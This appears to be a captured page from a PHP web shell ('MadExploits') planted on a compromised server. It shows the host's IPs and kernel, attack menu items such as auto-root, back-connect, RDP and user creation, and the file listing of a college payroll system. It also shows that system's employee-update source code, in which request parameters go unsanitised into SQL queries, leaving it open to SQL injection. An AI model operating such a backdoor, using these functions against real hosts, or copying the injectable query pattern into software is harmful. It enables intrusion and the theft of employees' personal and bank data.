Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.117.10.159
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
wwwroot /
jdcpatala.org /
payroll /
[ HOME SHELL ]
Name
Size
Permission
Action
ad_jquery
[ DIR ]
drwxr-xr-x
admin_task
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
doc
[ DIR ]
drwxr-xr-x
highslide
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
include
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
libs
[ DIR ]
drwxr-xr-x
misc
[ DIR ]
drwxr-xr-x
reports
[ DIR ]
drwxr-xr-x
simplexlsx-master
[ DIR ]
drwxr-xr-x
uploads
[ DIR ]
drwxr-xr-x
Bank_Transfer_Admission.php
3.17
KB
-rw-r--r--
Distrcits.php
6.43
KB
-rw-r--r--
ICM1401.jpg
20.16
KB
-rw-r--r--
Library_membership.php
2.92
KB
-rw-r--r--
Qualification.php
5.72
KB
-rw-r--r--
Request_leave.php
3.99
KB
-rw-r--r--
Student_reports.php
1.54
KB
-rw-r--r--
University.php
6.15
KB
-rw-r--r--
add_new_user.php
5.51
KB
-rw-r--r--
add_subjects.php
2.84
KB
-rw-r--r--
admin_task.php
5.63
KB
-rw-r--r--
admin_task_leave.php
6
KB
-rw-r--r--
admission_dashborad.php
5.56
KB
-rw-r--r--
admission_preview.php
19.35
KB
-rw-r--r--
admission_report.php
13.55
KB
-rw-r--r--
ajaximage.php
984
B
-rw-r--r--
attendance.php
4.34
KB
-rw-r--r--
auth.php
249
B
-rw-r--r--
back.php
1.2
KB
-rw-r--r--
bank.php
5.67
KB
-rw-r--r--
blank.php
834
B
-rw-r--r--
calendar.php
1.46
KB
-rw-r--r--
card.php
406
B
-rw-r--r--
caste.php
6.35
KB
-rw-r--r--
category.php
5.65
KB
-rw-r--r--
change.php
494
B
-rw-r--r--
change_salary.php
4.83
KB
-rw-r--r--
character.php
2.05
KB
-rw-r--r--
chart.php
4.45
KB
-rw-r--r--
chief.png
5.98
KB
-rw-r--r--
city.php
7.58
KB
-rw-r--r--
client_door.php
2.44
KB
-rw-r--r--
college_info.php
7.44
KB
-rw-r--r--
da.php
5.47
KB
-rw-r--r--
dash_admission.php
10.71
KB
-rw-r--r--
date.js
11.66
KB
-rw-r--r--
department.php
5.63
KB
-rw-r--r--
designations.php
5.54
KB
-rw-r--r--
editSalary.php
29.6
KB
-rw-r--r--
edit_student_admission.php
27.24
KB
-rw-r--r--
emp_dash.php
2.56
KB
-rw-r--r--
emply_load.php
43
B
-rw-r--r--
emptype.php
5.51
KB
-rw-r--r--
enter_attendance.php
7.19
KB
-rw-r--r--
error.php
1.84
KB
-rw-r--r--
fee_edit.php
18.57
KB
-rw-r--r--
fee_receipts.php
6.17
KB
-rw-r--r--
fee_s.php
23.02
KB
-rw-r--r--
file-manager.php
1.19
KB
-rw-r--r--
filter_admno.php
479
B
-rw-r--r--
filter_studid.php
732
B
-rw-r--r--
footer.php
3.3
KB
-rw-r--r--
form.php
13.22
KB
-rw-r--r--
foundation.php
5.68
KB
-rw-r--r--
functions.php
1.03
KB
-rw-r--r--
functions_hr.php
947
B
-rw-r--r--
gallery.php
1.42
KB
-rw-r--r--
gender.php
5.49
KB
-rw-r--r--
gender_admission_report.php
4.96
KB
-rw-r--r--
gender_admission_report_old.ph...
3.63
KB
-rw-r--r--
getClassDetail.php
1.47
KB
-rw-r--r--
getStudentRegistrationDetails....
1.22
KB
-rw-r--r--
grid.php
8.81
KB
-rw-r--r--
grn_new_add.php
25.5
KB
-rw-r--r--
header.php
5.53
KB
-rw-r--r--
hr.php
2.52
KB
-rw-r--r--
icon.php
312.57
KB
-rw-r--r--
index.php
3.71
KB
-rw-r--r--
info.php
23
B
-rw-r--r--
last_stream.php
5.67
KB
-rw-r--r--
leave_managment.php
1.23
KB
-rw-r--r--
list_job.php
5.83
KB
-rw-r--r--
load_data.php
1.27
KB
-rw-r--r--
loader.gif
10.57
KB
-rw-r--r--
login.php
8.15
KB
-rw-r--r--
logout.php
254
B
-rw-r--r--
mcm_admin
330
B
-rw-r--r--
mcm_admission.php
52.06
KB
-rw-r--r--
mcm_admission_record.php
7.76
KB
-rw-r--r--
meerutCollegeHome.jpg
304.11
KB
-rw-r--r--
new_emp.php
24.74
KB
-rw-r--r--
new_emp_Gyan.php
24.86
KB
-rw-r--r--
new_subject.php
3.34
KB
-rw-r--r--
notice.php
11.71
KB
-rw-r--r--
paper.php
8
KB
-rw-r--r--
payBill_reports.php
4.1
KB
-rw-r--r--
pay_scale.php
5.52
KB
-rw-r--r--
pay_slip.php
2.54
KB
-rw-r--r--
payroll_period.php
8.16
KB
-rw-r--r--
persnal_details.php
3.02
KB
-rw-r--r--
pf.php
5.46
KB
-rw-r--r--
postal.php
7.43
KB
-rw-r--r--
practical.php
5.63
KB
-rw-r--r--
profile.php
954
B
-rw-r--r--
read_msg.php
8.27
KB
-rw-r--r--
religion.php
5.57
KB
-rw-r--r--
reports.php
5.4
KB
-rw-r--r--
salary_gen.php
28.52
KB
-rw-r--r--
salary_management.php
2.32
KB
-rw-r--r--
salary_transfer.php
8.51
KB
-rw-r--r--
send_msg.php
8.02
KB
-rw-r--r--
session.php
5.61
KB
-rw-r--r--
shift.php
5.63
KB
-rw-r--r--
state.php
5.78
KB
-rw-r--r--
stream.php
6.16
KB
-rw-r--r--
student_transfer.php
7.8
KB
-rw-r--r--
subjects.php
4.83
KB
-rw-r--r--
submit_atten_sms.php
5.91
KB
-rw-r--r--
totalSalary_reports.php
4.11
KB
-rw-r--r--
total_salary.php
5.65
KB
-rw-r--r--
tour.php
1.04
KB
-rw-r--r--
transfer.php
11.26
KB
-rw-r--r--
transfer1.php
11.21
KB
-rw-r--r--
transferSalary.php
4.9
KB
-rw-r--r--
transfer_certificates.php
5.81
KB
-rw-r--r--
typography.php
8.34
KB
-rw-r--r--
ui.php
11.77
KB
-rw-r--r--
update_emp.php
22.95
KB
-rw-r--r--
update_image.php
8.97
KB
-rw-r--r--
update_img.php
2.81
KB
-rw-r--r--
update_salary.php
4.96
KB
-rw-r--r--
upload_merit_list.php
6.38
KB
-rw-r--r--
upload_photo.php
529
B
-rw-r--r--
view_attendacne.php
6.02
KB
-rw-r--r--
view_leave.php
1.85
KB
-rw-r--r--
view_sms_attendacne.php
6.04
KB
-rw-r--r--
wampmanager.ini
142.65
KB
-rw-r--r--
withdrawl_list.php
73.5
KB
-rw-r--r--
x.php
4.71
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : update_emp.php
<?php include('header.php'); include('functions.php'); $id=$_GET['id']; if(isset($_POST['update'])){ $em_code=$_POST['em_code']; $courtery=$_POST['courtesy_title']; $fanme=$_POST['fname']; $mname=$_POST['mname']; $lname=$_POST['lname']; $gender=$_POST['Gender']; $postal=$_POST['postalx']; $city=$_POST['city']; $state=$_POST['state']; $street=$_POST['street']; $emil=$_POST['email']; $mob=$_POST['mob']; $emp_type=$_POST['emp_type']; $stype=$_POST['stype']; $ptype=$_POST['ptype']; $pftype=$_POST['pftype']; $emclass=$_POST['emclass']; $dprt=$_POST['dprt']; $job=$_POST['job']; $cast=$_POST['cast']; $scast=$_POST['scast']; $birth=$_POST['birth']; $jdate=$_POST['jdate']; $rdate=$_POST['rdate']; $indate=$_POST['indate']; $gpopen=$_POST['gpopen']; $gpclose=$_POST['gpclose']; $rd=$_POST['rd']; $bank_ac=$_POST['bank_ac']; $gpf=$_POST['gpf']; $lic=$_POST['lic']; $rd_no=$_POST['rd_no']; $loan=$_POST['loan']; $remarks=$_POST['remarks']; $scale=$_POST['scale']; $basic=$_POST['basic']; $grade=$_POST['grade']; $handicap=$_POST['handicap']; $planning=$_POST['planning']; $str = "update employee_entry set emplyoee_code='$em_code', courtery='$courtery', F_name='$fanme', M_name='$mname', L_name='$lname', Gender='$gender', postal_code='$postal', state='$state', city='$city', street_addrs='$street', email='$emil', mobile='$mob', Emp_type='$emp_type', staff_type='$stype', paycommtype='$ptype', Pf_type='$pftype', Emp_class='$emclass', department='$dprt', job_position='$job', cast='$cast', sub_cast='$scast', birth_date='$birth', joining_date='$jdate', retire_date='$rdate', Inc_date='$indate', gpfopn_date='$gpopen', gpfcls_date='$gpclose', rdopn_date='$rd', bank_ac='$bank_ac', gpf_ac='$gpf', lic_no='$lic', rd_no='$rd_no', bank_loan_no='$loan', remarks='$remarks', scale='$scale', basic_pay='$basic', grade='$grade', handicaped='$handicap', fmlyplaning='$planning' where id = '$id'"; $r=mysqli_query($conn,$str) or die(mysqli_error()); if($r){ echo "Successfully Updated"; } else{ $_SESSION['msg']="<span style='color:red'>Oops Something went wrong..</span>"; } } ?> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/ libs/jquery/1.3.0/jquery.min.js"> </script> <script type="text/javascript" > $(function() { $(".comment_button").click(function() { var test = $("#content").val(); var dataString = 'content='+ test; if(test=='') { alert("Please Enter Some Text"); } else { $("#flash").show(); $("#flash").fadeIn(400).html('<img src="ajax-loader.gif" align="absmiddle"> <span class="loading">Loading Comment...</span>'); $.ajax({ type: "POST", url: "demo_insert.php", data: dataString, cache: false, success: function(html){ $("#display").after(html); document.getElementById('content').value=''; document.getElementById('content').focus(); $("#flash").hide(); } }); } return false; }); }); </script> <script type="text/javascript"> function valcity(){ var keyword=document.getElementById("postal").value; if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else {// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.getElementById("city_id").value=xmlhttp.responseText; valstate(); } } xmlhttp.open("GET","admin_task/college_info_postal.php?show=city&val="+keyword,true); xmlhttp.send(); } function valstate(){ var keyword=document.getElementById("postal").value; if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else {// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.getElementById("state_id").value=xmlhttp.responseText; } } xmlhttp.open("GET","admin_task/college_info_postal.php?show=state&val="+keyword,true); xmlhttp.send(); } </script> <?php $r=mysqli_query($conn,"Select * from employee_entry where id='$id'"); $row=mysqli_fetch_assoc($r); ?> <div> <ul class="breadcrumb"> <li> <a href="#">Home</a> <span class="divider">/</span> </li> <li> <a href="emp_dash.php">Dashboard Employee</a> <span class="divider">/</span> </li> <li> <a href="#">Update Employee Entry</a> </li> </ul> </div> <center><?php echo $_SESSION['msg']; unset($_SESSION['msg']); ?></center> <div class="row-fluid sortable"> <div class="box span11"> <div class="box-header well"> <h2>Update Employee Entry</h2> <div class="box-icon"> <a href="#" class="btn btn-setting btn-round"><i class="icon-cog"></i></a> <a href="#" class="btn btn-minimize btn-round"><i class="icon-chevron-up"></i></a> <a href="#" class="btn btn-close btn-round"><i class="icon-remove"></i></a> </div> </div> <div class="box-content"> <ul class="nav nav-tabs" id="myTab"> <li class="active"><a href="#info">Information</a></li> <li><a href="#custom">Remark</a></li> <li><a href="#pic">Picture</a></li> <li><a href="#messages">Payment</a></li> </ul> <!--form action="admin_task/update_emp.php" method="post" class="form-horizontal" enctype="multipart/form-data" --> <form action="#" method="post" class="form-horizontal" enctype="multipart/form-data" > <div id="myTabContent" class="tab-content"> <div class="tab-pane active" id="info"> <!--tab first code here --> <div class="control-group"> <label class="control-label" for="focusedInput">Employee Code </label> <div class="controls"> <input class="input-xlarge focused" id="focusedInput" type="text" name="em_code" value="<?php echo $row['emplyoee_code']; ?>" > </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Courtesy Title</label> <div class="controls"> <select name="courtesy_title"> <?php $res5=mysqli_query($conn,"Select coursty_title from coursty"); while($row5=mysqli_fetch_assoc($res5)){ ?> <option value="<?php echo $row5['coursty_title']; ?>" <?php if($row['courtery']==$row5['coursty_title']){ echo "selected='selected'"; } ?> > <?php echo $row5['coursty_title']; ?> </option> <?php } ?> </select> </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">First Name </label> <div class="controls"> <input class="input-xlarge focused" id="focusedInput" type="text" name="fname" value="<?php echo $row['F_name']; ?>"> </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Middle Name </label> <div class="controls"> <input class="input-xlarge focused" id="focusedInput" type="text" name="mname" value="<?php echo $row['M_name']; ?>" > </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Last Name </label> <div class="controls"> <input class="input-xlarge focused" id="focusedInput" type="text" name="lname" value="<?php echo $row['L_name']; ?>" > </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Gender </label> <div class="controls"> <select name="Gender"> <?php if($row['Gender']=="Male"){?> <option>Male</option> <option>Female</option> <?php }else{ ?> <option>Female</option> <option>Male</option> <?php } ?> </select> </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Postal Code</label> <div class="controls"> <?php $old_pos=$row['postal_code']; $res=mysqli_query($conn,"Select * from postal"); while($row1=mysqli_fetch_array($res)){ ?> <Select name="postalx" onchange="valcity()" id="postal"> <option>None</option> <?php echo '<option value="'.$row1['postal_no'].'"'; if($old_pos==$row1['postal_no']){ echo 'selected="selected"'; } echo '>'; echo $row1['postal_no']; echo '</option>'; ?> </select> <?php } ?> </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">City/Town</label> <div class="controls"> <input class="input-xlarge focused" type="text" name="city" value="<?php echo $row['city']; ?>" > </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">State/Province</label> <div class="controls"> <input class="input-xlarge focused" type="text" name="state" value="<?php echo $row['state']; ?>" > </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Street Address </label> <div class="controls"> <input class="input-xlarge focused" id="focusedInput" type="text" name="street" value="<?php echo $row['street_addrs']; ?>" > </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Email Address</label> <div class="controls"> <input class="input-xlarge focused" id="focusedInput" type="text" name="email" value="<?php echo $row['email']; ?>" > </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Mob No. </label> <div class="controls"> <input class="input-xlarge focused" id="focusedInput" type="text" name="mob" value="<?php echo $row['mobile']; ?>" > </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Emp Type </label> <div class="controls"> <select name="emp_type"> <?php $res5=mysqli_query($conn,"Select emp from emptype"); while($row5=mysqli_fetch_assoc($res5)){ ?> <option value="<?php echo $row5['emp']; ?>" <?php if($row['Emp_type']==$row5['emp']){ echo "selected='selected'"; } ?> > <?php echo $row5['emp']; ?> </option> <?php } ?> </select> </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Staff Type </label> <div class="controls"> <select name="stype"> <?php $res6=mysqli_query($conn,"Select staff from staff_type"); while($row6=mysqli_fetch_assoc($res6)){ ?> <option value="<?php echo $row6['staff']; ?>" <?php if($row['staff_type']==$row6['staff']){ echo "selected='selected'"; } ?> > <?php echo $row6['staff']; ?> </option> <?php } ?> </select> </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Paycomm Type </label> <div class="controls"> <select name="ptype"> <?php $res7=mysqli_query($conn,"Select pay from paycommtype"); while($row7=mysqli_fetch_assoc($res7)){ ?> <option value="<?php echo $row7['pay']; ?>" <?php if($row['paycommtype']==$row7['pay']){ echo "selected='selected'"; } ?> > <?php echo $row7['pay']; ?> </option> <?php } ?> </select> </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Pf Type </label> <div class="controls"> <select name="pftype"> <?php $res8=mysqli_query($conn,"Select pf from pf_type"); while($row8=mysqli_fetch_assoc($res8)){ ?> <option value="<?php echo $row8['pf']; ?>" <?php if($row['Pf_type']==$row8['pf']){ echo "selected='selected'"; } ?> > <?php echo $row8['pf']; ?> </option> <?php } ?> </select> </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Emp Class</label> <div class="controls"> <select name="emclass" > <?php $res9=mysqli_query($conn,"Select emp_cls from emp_class"); while($row9=mysqli_fetch_assoc($res9)){ ?> <option value="<?php echo $row9['emp_cls']; ?>" <?php if($row['Emp_class']==$row9['emp_cls']){ echo "selected='selected'"; } ?> > <?php echo $row9['emp_cls']; ?> </option> <?php } ?> </select> </div> </div> </div> <div class="tab-pane" id="pic"> <!--tab first code here --> <div class="control-group"> <label class="control-label" for="focusedInput">Employee Image</label> <div class="controls"> <?php if($row['emp_image']=='') { echo "No Image Available"; ?> <input type="file" name="image" /> <?php } else { echo "<img src='admin_task/employee_image/".$row['emp_img']."' width='100px' height='100px'>"; ?> <input type="file" name="image" /> <?php } ?> </div> </div> </div> <div class="tab-pane" id="custom"> <!--tab second code here --> <div class="control-group"> <label class="control-label" for="focusedInput">Department </label> <div class="controls"> <select name="dprt"> <?php $res1=mysqli_query($conn,"Select department from department"); while($row1=mysqli_fetch_assoc($res1)){ ?> <option value="<?php echo $row1['department']; ?>" <?php if($row['department']==$row1['department']){ echo "selected='selected'"; } ?> > <?php echo $row1['department']; ?> </option> <?php } ?> </select> </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Job Position </label> <div class="controls"> <select name="job"> <?php $res2=mysqli_query($conn,"Select job from job"); while($row2=mysqli_fetch_assoc($res2)){ ?> <option value="<?php echo $row2['job']; ?>" <?php if($row['job_position']==$row2['job']){ echo "selected='selected'"; } ?> > <?php echo $row2['job']; ?> </option> <?php } ?> </select> </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Cast </label> <div class="controls"> <select name="cast" > <?php $res3=mysqli_query($conn,"Select cast from cast"); while($row3=mysqli_fetch_assoc($res3)){ ?> <option value="<?php echo $row3['cast']; ?>" <?php if($row['cast']==$row3['cast']){ echo "selected='selected'"; } ?> > <?php echo $row3['cast']; ?> </option> <?php } ?> </select> </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Sub Cast </label> <div class="controls"> <select name="scast"> <?php $res4=mysqli_query($conn,"Select sub_cast from sub_cast"); while($row4=mysqli_fetch_assoc($res4)){ ?> <option value="<?php echo $row4['sub_cast']; ?>" <?php if($row['sub_cast']==$row4['sub_cast']){ echo "selected='selected'"; } ?> > <?php echo $row4['sub_cast']; ?> </option> <?php } ?> </select> </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Birth Date </label> <div class="controls"> <input class="input-xlarge datepicker" id="date01" type="text" name="birth" value="<?php echo $row['birth_date']; ?>" > </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Joining Date </label> <div class="controls"> <input class="input-xlarge datepicker" id="date02" type="text" name="jdate" value="<?php echo $row['joining_date']; ?>" > </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Retire Date </label> <div class="controls"> <input class="input-xlarge datepicker" id="date03" type="text" name="rdate" value="<?php echo $row['retire_date']; ?>" > </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Inc. Date </label> <div class="controls"> <input class="input-xlarge datepicker" id="date04" type="text" name="indate" value="<?php echo $row['Inc_date']; ?>" > </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Gpfopn date </label> <div class="controls"> <input class="input-xlarge datepicker" id="date05" type="text" name="gpopen" value="<?php echo $row['gpfopn_date']; ?>" > </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Gpfcls date </label> <div class="controls"> <input class="input-xlarge datepicker" id="date06" type="text" name="gpclose" value="<?php echo $row['gpfcls_date']; ?>" > </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Rdopn date </label> <div class="controls"> <input class="input-xlarge datepicker" id="date07" type="text" name="rd" value="<?php echo $row['rdopn_date']; ?>" > </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Bank a/c no </label> <div class="controls"> <input class="input-xlarge focused" id="focusedInput" type="text" name="bank_ac" value="<?php echo $row['bank_ac']; ?>" > </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">GPFa/c no </label> <div class="controls"> <input class="input-xlarge focused" id="focusedInput" type="text" name="gpf" value="<?php echo $row['gpf_ac']; ?>" > </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">LIC no </label> <div class="controls"> <input class="input-xlarge focused" id="focusedInput" type="text" name="lic" value="<?php echo $row['lic_no']; ?>" > </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">RD no </label> <div class="controls"> <input class="input-xlarge focused" id="focusedInput" type="text" name="rd_no" value="<?php echo $row['rd_no']; ?>" > </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Bank loan no </label> <div class="controls"> <input class="input-xlarge focused" id="focusedInput" type="text" name="loan" value="<?php echo $row['bank_loan_no']; ?>" > </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Remarks </label> <div class="controls"> <input class="input-xlarge focused" id="focusedInput" type="text" name="remarks" value="<?php echo $row['remarks']; ?>"> </div> </div> </div> <div class="tab-pane" id="messages"> <!--tab third code here --> <div class="control-group"> <label class="control-label" for="focusedInput">Scale </label> <div class="controls"> <select name="scale"> <?php $res10=mysqli_query($conn,"Select scale from scale"); while($row10=mysqli_fetch_assoc($res10)){ ?> <option value="<?php echo $row10['scale']; ?>" <?php if($row['scale']==$row10['scale']){ echo "selected='selected'"; } ?> > <?php echo $row10['scale']; ?> </option> <?php } ?> </select> </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Basic Pay </label> <div class="controls"> <input class="input-xlarge focused" id="focusedInput" type="text" name="basic" value="<?php echo $row['basic_pay']; ?>" > </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Grade pay </label> <div class="controls"> <input class="input-xlarge focused" id="focusedInput" type="text" name="grade" value="<?php echo $row['grade']; ?>" > </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Handicapped </label> <div class="controls"> <select name="handicap"> <?php if($row['Handicaped']=="Yes"){?> <option>Yes</option> <option>No</option> <?php }else{ ?> <option>No</option> <option>Yes</option> <?php } ?> </select> </div> </div> <div class="control-group"> <label class="control-label" for="focusedInput">Family Planning</label> <div class="controls"> <select name="planning"> <?php if($row['fmlyplaning']=="Yes"){?> <option>Yes</option> <option>No</option> <?php }else{ ?> <option>No</option> <option>Yes</option> <?php } ?> </select> </div> </div> <div class="modal-footer"> <input type="submit" name="update" class="btn btn-primary" value="Update Record" > <button class="btn">Cancel</button> </div> </form> </div> </div><!--/span--> </div><!--/row--> <?php include('footer.php'); ?>
Close